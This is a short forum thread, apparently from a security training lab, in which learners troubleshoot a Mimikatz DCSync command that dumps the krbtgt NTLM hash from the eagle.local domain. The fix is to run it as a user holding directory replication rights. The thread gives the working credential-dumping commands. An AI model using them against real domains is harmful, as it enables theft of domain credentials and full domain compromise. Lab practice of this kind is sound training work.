I tried answer the question, but i have a error when a ran the mimimkatz:
“Practice the techniques shown in this section. What is the NTLM hash of the krbtgt user?”
the command:
mimikatz.exe
lsadump::dcsync /domain:eagle.local /user:krbtgt
but this not work, and return a error:
ERROR kuhl_m_lsadump_dcsync ; GetNCChanges: 0x000020f7 (8439)
someone hint to resolve it?
Have you solved this problem? I encountered the same problem，i try
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:eagle.local /user:krbtgt
I achieved resolve it, thanks for you reply.
Can you give me some help? I have been working on this issue for three days now, but I still don’t know where the problem lies
man take it from the pic it did not work for me as well
Just got it, the first paragraph mention of using the rocky user from previous attack
runas /user:eagle\rocky cmd.exe
mimikatz.exez
lsadump::dcsync /domain:eagle.local /user:krbtgt
The reason is the rocky user was assigned Replicating Directory Changes and Replicating Directory Changes All as a showcase for DCSync